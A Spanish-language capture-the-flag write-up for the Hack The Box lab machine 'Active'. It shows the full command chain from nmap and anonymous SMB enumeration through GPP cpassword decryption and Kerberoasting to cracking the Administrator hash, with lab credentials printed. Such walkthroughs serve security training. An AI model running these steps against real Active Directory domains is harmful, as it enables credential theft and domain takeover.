Active
Active
es una máquina de dificultad fácil a media, que presenta dos técnicas muy frecuentes para obtener privilegios dentro de un entorno de Active Directory.

Reconnaissance
Realizaremos un escaneo sobre los puertos abiertos de la máquina Active.
nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.10.100 -oG allPorts
Lanzaremos unos scripts con Nmap para intenter ver vulnerabilidades y versiones sobre los puertos abiertos encontrados.
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49166,49168 10.10.10.100 -oN targeted

Comprobaremos el nombre del domninio a través del siguiente comando
ldapsearch -x -H ldap://10.10.10.100 -s base | grep defaultNamingContext

Añadiremos en nuestro archivo /etc/hosts la dirección IP de Active y el dominio
catnp /etc/hosts | grep active.htb

SMB Enumeration
Procederemos a la enumeración de SMB a través de enum4linux para ver que encontramos. Vemos que sin usuario podemos acceder a los recursos IPC$ y Replication.
enum4linux -a -u "" -p "" 10.10.10.100

Procederemos a acceder al recurso compartido "Replication" sin usuario, y nos descargaremos todo el contenido del recurso compartido en nuestro equipo local.
smbclient //10.10.10.100/Replication -N

Abusing GPP Passwords
Decrypting GPP Passwords - gpp-decrypt - impacket-GetGPPPassword
Comprobaremos que tenemos un archivo .xml que pertenece a una política y se trata de la información de un usuario del Active Directory y un campo "cpasswd" que está encriptado utilizando una clave conocida, que es parte de la configuración predeterminada de la Política de Preferencias de Grupo de Windows (GPP).
Para desencriptarlo podemos hacer uso de gpp-decrypt o impacket-Get-GPPPassword.
catnp Groups.xml
impacket-Get-GPPPassword -xmlfile Groups.xml 'LOCAL'
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ


Flag user.txt
Comprobaremos a través de netexec de que podemos acceder con el usuario encontrado y su respectiva credencial. Comprobamos además de que tiene acceso al recurso compartido "Users".
netexec smb 10.10.10.100 -u SVC_TGS -p 'GPPstillStandingStrong2k18' --shares

Procederemos a conectarnos al SMB con estas nuevas credenciales y nos descargaremos el archivo "user.txt" que es la primera flag.
smbclient //10.10.10.100/Users -U active.htb/SVC_TGS

Comprobaremos el contenido de la flag de user.txt
catnp user.txt

Privilege Escalation
Kerberoasting Attack (GetUsersSPNs.py)
"Procederemos a realizar un ataque de Kerberoasting en busca de servicios en el dominio active.htb que estén vinculados a cuentas de usuario. El objetivo es obtener tickets de servicio Kerberos (TGS) asociados a estos servicios, los cuales podrán ser crackeados offline para intentar revelar las contraseñas de las cuentas de servicio."
Obtenemos el hash Krb5 del usuario "Administrator".
impacket-GetUserSPNs -dc-ip 10.10.10.100 active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request

Guardaremos el hash en un archivo de texto
cat hash.txt

Procederemos a realizar ataque de fuerza bruta a través de un diccionario para desencriptar el hash encontrado. Finalmente hemos obtenido la contraseña.
john --format=krb5tgs hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Comprobamos que podemos acceder con usuario "Administrator" y encontrar su correspondiente flag de root.txt
smbclient //10.10.10.100/Users -U active.htb/Administrator

Última actualización
¿Te fue útil?